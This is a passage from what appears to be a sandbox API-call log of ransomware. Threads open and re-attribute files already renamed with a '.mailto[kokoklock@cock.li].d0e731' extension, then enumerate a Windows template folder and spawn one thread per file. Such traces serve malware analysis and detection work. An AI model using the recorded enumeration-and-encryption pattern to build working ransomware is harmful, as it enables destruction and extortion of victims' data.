dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.542] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.542] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0ac88) returned 1 [0173.542] RtlExitUserThread (Status=0x0) Thread: id = 2137 os_tid = 0x124c [0173.544] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-192.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.545] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.545] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-192.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.545] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.545] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3bc8) returned 1 [0173.546] RtlExitUserThread (Status=0x0) Thread: id = 2138 os_tid = 0x1250 [0173.547] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-32.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.547] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.547] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-32.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.548] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0aee0) returned 1 [0173.548] RtlExitUserThread (Status=0x0) Thread: id = 2139 os_tid = 0x1254 [0173.549] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-40.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.549] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.549] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-40.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.549] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.549] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0ad50) returned 1 [0173.549] RtlExitUserThread (Status=0x0) Thread: id = 2140 os_tid = 0x1258 [0173.551] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-48.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.552] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.552] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-48.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.552] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.553] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b2c8) returned 1 [0173.553] RtlExitUserThread (Status=0x0) Thread: id = 2141 os_tid = 0x125c [0173.554] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.554] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.554] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.554] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.554] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0afa8) returned 1 [0173.554] RtlExitUserThread (Status=0x0) Thread: id = 2142 os_tid = 0x1260 [0173.556] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.556] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.556] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.556] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.556] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b458) returned 1 [0173.556] RtlExitUserThread (Status=0x0) Thread: id = 2143 os_tid = 0x1264 [0173.557] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x64) returned 0x2f604a0 [0173.557] wcscpy (in: _Dest=0x2f604a0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0173.557] wcscat (in: _Dest=0x2f604a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0173.557] wcscat (in: _Dest=0x2f604a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\*") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\*" [0173.557] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020f10 [0173.557] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\*", lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f801e0 [0173.559] wcscmp (_String1=".", _String2=".") returned 0 [0173.559] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.560] wcscmp (_String1="..", _String2=".") returned 1 [0173.560] wcscmp (_String1="..", _String2="..") returned 0 [0173.560] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4771, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopSettings2013.xml", cAlternateFileName="")) returned 1 [0173.560] wcscmp (_String1="DesktopSettings2013.xml", _String2=".") returned 1 [0173.560] wcscmp (_String1="DesktopSettings2013.xml", _String2="..") returned 1 [0173.560] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fd0140 [0173.560] wcscpy (in: _Dest=0x2fd0140, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0173.560] wcscat (in: _Dest=0x2fd0140, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0173.560] wcscat (in: _Dest=0x2fd0140, _Source="DesktopSettings2013.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" [0174.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fd0140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0174.085] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x173d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EaseOfAccessSettings2013.xml", cAlternateFileName="")) returned 1 [0174.086] wcscmp (_String1="EaseOfAccessSettings2013.xml", _String2=".") returned 1 [0174.086] wcscmp (_String1="EaseOfAccessSettings2013.xml", _String2="..") returned 1 [0174.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2feec18 [0174.086] wcscpy (in: _Dest=0x2feec18, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.086] wcscat (in: _Dest=0x2feec18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.086] wcscat (in: _Dest=0x2feec18, _Source="EaseOfAccessSettings2013.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" [0174.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2feec18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740 [0174.086] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc27, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013.xml", cAlternateFileName="")) returned 1 [0174.087] wcscmp (_String1="MicrosoftInternetExplorer2013.xml", _String2=".") returned 1 [0174.087] wcscmp (_String1="MicrosoftInternetExplorer2013.xml", _String2="..") returned 1 [0174.087] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f90ed0 [0174.087] wcscpy (in: _Dest=0x2f90ed0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.087] wcscat (in: _Dest=0x2f90ed0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.087] wcscat (in: _Dest=0x2f90ed0, _Source="MicrosoftInternetExplorer2013.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" [0174.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90ed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0174.087] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013Backup.xml", cAlternateFileName="")) returned 1 [0174.087] wcscmp (_String1="MicrosoftInternetExplorer2013Backup.xml", _String2=".") returned 1 [0174.087] wcscmp (_String1="MicrosoftInternetExplorer2013Backup.xml", _String2="..") returned 1 [0174.087] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x3055b48 [0174.087] wcscpy (in: _Dest=0x3055b48, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.088] wcscat (in: _Dest=0x3055b48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.088] wcscat (in: _Dest=0x3055b48, _Source="MicrosoftInternetExplorer2013Backup.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" [0174.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0174.088] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2010.xml", cAlternateFileName="")) returned 1 [0174.088] wcscmp (_String1="MicrosoftLync2010.xml", _String2=".") returned 1 [0174.088] wcscmp (_String1="MicrosoftLync2010.xml", _String2="..") returned 1 [0174.088] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8c) returned 0x2fcf728 [0174.088] wcscpy (in: _Dest=0x2fcf728, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.088] wcscat (in: _Dest=0x2fcf728, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.088] wcscat (in: _Dest=0x2fcf728, _Source="MicrosoftLync2010.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" [0174.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcf728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0174.089] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win32.xml", cAlternateFileName="")) returned 1 [0174.089] wcscmp (_String1="MicrosoftLync2013Win32.xml", _String2=".") returned 1 [0174.089] wcscmp (_String1="MicrosoftLync2013Win32.xml", _String2="..") returned 1 [0174.089] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fa2138 [0174.089] wcscpy (in: _Dest=0x2fa2138, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.089] wcscat (in: _Dest=0x2fa2138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.089] wcscat (in: _Dest=0x2fa2138, _Source="MicrosoftLync2013Win32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" [0174.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0174.090] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win64.xml", cAlternateFileName="")) returned 1 [0174.090] wcscmp (_String1="MicrosoftLync2013Win64.xml", _String2=".") returned 1 [0174.090] wcscmp (_String1="MicrosoftLync2013Win64.xml", _String2="..") returned 1 [0174.090] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fa2b38 [0174.090] wcscpy (in: _Dest=0x2fa2b38, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.090] wcscat (in: _Dest=0x2fa2b38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.090] wcscat (in: _Dest=0x2fa2b38, _Source="MicrosoftLync2013Win64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" [0174.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2b38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0174.091] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftNotepad.xml", cAlternateFileName="")) returned 1 [0174.091] wcscmp (_String1="MicrosoftNotepad.xml", _String2=".") returned 1 [0174.091] wcscmp (_String1="MicrosoftNotepad.xml", _String2="..") returned 1 [0174.091] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fcf7c0 [0174.091] wcscpy (in: _Dest=0x2fcf7c0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.091] wcscat (in: _Dest=0x2fcf7c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.091] wcscat (in: _Dest=0x2fcf7c0, _Source="MicrosoftNotepad.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" [0174.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcf7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0174.092] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win32.xml", cAlternateFileName="")) returned 1 [0174.092] wcscmp (_String1="MicrosoftOffice2010Win32.xml", _String2=".") returned 1 [0174.092] wcscmp (_String1="MicrosoftOffice2010Win32.xml", _String2="..") returned 1 [0174.092] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee048 [0174.092] wcscpy (in: _Dest=0x2fee048, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.092] wcscat (in: _Dest=0x2fee048, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.092] wcscat (in: _Dest=0x2fee048, _Source="MicrosoftOffice2010Win32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" [0174.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720 [0174.093] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win64.xml", cAlternateFileName="")) returned 1 [0174.093] wcscmp (_String1="MicrosoftOffice2010Win64.xml", _String2=".") returned 1 [0174.093] wcscmp (_String1="MicrosoftOffice2010Win64.xml", _String2="..") returned 1 [0174.093] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee978 [0174.093] wcscpy (in: _Dest=0x2fee978, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All 